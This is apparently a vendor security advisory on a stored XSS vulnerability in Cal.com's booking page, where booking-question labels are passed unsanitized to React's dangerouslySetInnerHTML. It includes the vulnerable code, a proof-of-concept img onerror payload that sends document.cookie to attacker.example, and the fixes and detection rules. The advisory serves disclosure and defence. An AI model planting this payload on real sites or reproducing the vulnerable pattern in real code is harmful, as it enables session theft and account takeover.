Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
ZeroDays CVE-2024-58355
High CVE-2024-58355 CVSS 8.9 Cal.com (cal.diy) TypeScript

Cal.com Booking Stored XSS

CVE-2024-58355 is a stored XSS in Cal.com through 4.7.15 letting attackers inject JavaScript via booking-question labels.

Offensive360 Research Team
Affects: <= 4.7.15
Source Code View Patch

Overview

CVE-2024-58355 is a stored cross-site scripting (XSS) vulnerability affecting Cal.com’s self-hosted scheduling platform (calcom/cal.diy) through version 4.7.15. The flaw resides in the single booking confirmation view, where booking-question field labels are rendered using React’s dangerouslySetInnerHTML API without any prior sanitization or escaping. An authenticated attacker who has the ability to create or modify event types can embed arbitrary HTML and JavaScript inside a booking-question label. That payload is then persisted to the database and executes in the browser of any user — including unauthenticated guests — who opens the corresponding booking URL (https://app.cal.com/booking/<id>).

The vulnerability is notable for its relatively low exploitation barrier. Creating an event type is a standard, non-privileged operation on most Cal.com deployments, meaning any registered user can plant the payload. The attack surface widens significantly on multi-tenant instances where numerous hosts share a single Cal.com deployment, because a malicious host could target visitors from other organizations simply by distributing a crafted booking link.

The issue was reported to the Cal.com security team and fixed in v4.7.16. The CVSS 8.9 HIGH score reflects the combination of network reachability, no authentication requirement on the victim side, and the full JavaScript execution context available to the attacker in the victim’s browser session.

Technical Analysis

React’s dangerouslySetInnerHTML is the framework’s deliberate escape hatch for injecting raw HTML into the DOM. The API name itself contains an explicit warning, and React’s own documentation stresses that it must only ever receive pre-sanitized content. In the vulnerable code path, Cal.com passed attacker-controlled data directly into this API.

The booking confirmation page renders event-type metadata, including the labels of any custom booking questions the host has configured. In versions through 4.7.15, the label rendering followed a pattern equivalent to the following:

// VULNERABLE — packages/ui/components/booking/BookingFields.tsx (pre-4.7.16)
interface BookingField {
  label: string;   // sourced from host-configured event-type data
  name: string;
}

function BookingFieldLabel({ field }: { field: BookingField }) {
  return (
    <label
      // label is attacker-controlled; no sanitization applied
      dangerouslySetInnerHTML={{ __html: field.label }}
    />
  );
}

When a host creates an event type, they supply label values for each custom booking question. These strings are stored verbatim in the database. At render time, the booking confirmation view fetches the event-type data server-side and passes the raw label string directly into dangerouslySetInnerHTML.__html. React dutifully sets the element’s innerHTML to that string, and the browser parses and executes any embedded script.

A minimal proof-of-concept payload an attacker could store as a booking-question label looks like:

Meeting Topic<img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)">

When the victim opens https://app.cal.com/booking/<id>, the browser renders the label, the broken image fires the onerror handler, and the victim’s session cookies are exfiltrated. Because the payload is stored server-side and delivered over a seemingly legitimate Cal.com booking URL, standard phishing heuristics offer little protection.

The root cause is straightforward: the absence of an output-encoding step between the data store and the render function. The label field accepts rich text in the event-type editor UI, but no sanitization library (e.g., DOMPurify) was applied before the value was handed to dangerouslySetInnerHTML. This is a textbook stored XSS pattern — the injection point (event-type creation) is separated from the execution point (booking view), which can defeat naive scanners that look for reflected input only.

Impact

An attacker who exploits this vulnerability gains arbitrary JavaScript execution in the victim’s browser origin (app.cal.com or the self-hosted equivalent). Concretely, this enables:

  • Session hijacking: Theft of session cookies or local-storage authentication tokens, leading to full account takeover.
  • Credential phishing: Injection of a fake login overlay on the booking page to harvest plaintext credentials.
  • Data exfiltration: Reading any data accessible to the current session — calendar data, contact information, meeting details — and transmitting it to an attacker-controlled endpoint.
  • Lateral movement in SSO environments: If Cal.com is part of a broader SSO federation, a hijacked session token may grant access to connected applications.
  • Malware distribution: Redirecting victims to drive-by download pages or serving malicious JavaScript frameworks.

The CVSS 8.9 vector accounts for network-based attack delivery (AV:N), low attack complexity (AC:L), no required privileges from the victim’s perspective (PR:N on the execution side), no user interaction beyond opening a link (UI:R), and high confidentiality and integrity impact (C:H/I:H) with moderate availability impact (A:L).

Self-hosted deployments that have disabled strict Content Security Policy headers are particularly exposed, as there is no secondary browser-level control to block the exfiltration request.

How to Fix It

The canonical fix is to sanitize all user-supplied HTML before passing it to dangerouslySetInnerHTML. The patch introduced in v4.7.16 addresses this by running label content through a sanitization step before render.

Upgrade immediately:

# npm
npm install @calcom/[email protected]

# yarn
yarn upgrade @calcom/[email protected]

# pnpm
pnpm update @calcom/[email protected]

If upgrading immediately is not feasible, the correct code-level mitigation is to sanitize with DOMPurify before any call to dangerouslySetInnerHTML:

// FIXED pattern
import DOMPurify from "dompurify";

function BookingFieldLabel({ field }: { field: BookingField }) {
  const safeLabel = DOMPurify.sanitize(field.label, {
    ALLOWED_TAGS: ["b", "i", "em", "strong"],
    ALLOWED_ATTR: [],
  });

  return (
    <label dangerouslySetInnerHTML={{ __html: safeLabel }} />
  );
}

Alternatively — and preferably if rich HTML is not actually required for labels — strip dangerouslySetInnerHTML entirely and render the label as plain text:

// PREFERRED — no HTML rendering needed for field labels
function BookingFieldLabel({ field }: { field: BookingField }) {
  return <label>{field.label}</label>;
}

React’s default JSX text rendering escapes all HTML entities, completely eliminating the XSS surface with no additional library dependency.

As a defense-in-depth measure, deploy a strict Content Security Policy that disallows inline scripts and restricts connect-src to known trusted origins. This will not prevent the XSS from firing, but it will block most exfiltration and payload-delivery techniques.

Our Take

The recurrence of dangerouslySetInnerHTML misuse in production React applications reflects a gap in developer security education rather than a deficiency in the React framework itself. The API’s name is unambiguous — React’s authors clearly intended the name as a deterrent — yet it continues to appear in code review without the corresponding sanitization step.

From an enterprise risk perspective, stored XSS in scheduling or collaboration tools is underrated. These applications sit at the intersection of internal and external trust: external users (meeting guests) interact with URLs generated by internal users (hosts), and both populations are exposed when a payload is planted. The blast radius is therefore wider than a typical intranet XSS.

For development teams, the lesson is to treat every field that feeds into dangerouslySetInnerHTML as a mandatory sanitization boundary — no exceptions, regardless of whether the input comes from an “admin” or “trusted” user. Privilege does not sanitize data.

Detection with SAST

SAST detection of this vulnerability class targets the data flow from user-controlled sources to dangerouslySetInnerHTML sinks. Offensive360’s analysis engine flags this under CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’), with a React-specific sub-rule for dangerouslySetInnerHTML sink detection.

Key detection patterns include:

  • Direct sink assignment: Any JSX attribute of the form dangerouslySetInnerHTML={{ __html: <expr> }} where <expr> is not a call to a known sanitization function (e.g., DOMPurify.sanitize, sanitizeHtml).
  • Taint propagation through props: Variables passed as props from a parent component and ultimately consumed at a dangerouslySetInnerHTML sink without an intervening sanitization transform.
  • Database-to-render taint paths: In full-stack TypeScript codebases, inter-procedural taint analysis traces data from ORM query results (e.g., Prisma findUnique return values) through API response serialization and into React component props, identifying stored XSS flows that reflection-only scanners miss.

In CI/CD pipelines, Offensive360 recommends enforcing a custom lint rule (e.g., an ESLint plugin rule) that fails the build on any dangerouslySetInnerHTML usage not accompanied by an explicit sanitization call in the same expression. This provides a fast-feedback control complementary to deeper SAST analysis.

References

#XSS #Stored XSS #React #dangerouslySetInnerHTML

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2024-58355-class vulnerabilities and thousands of other patterns — across 60+ languages.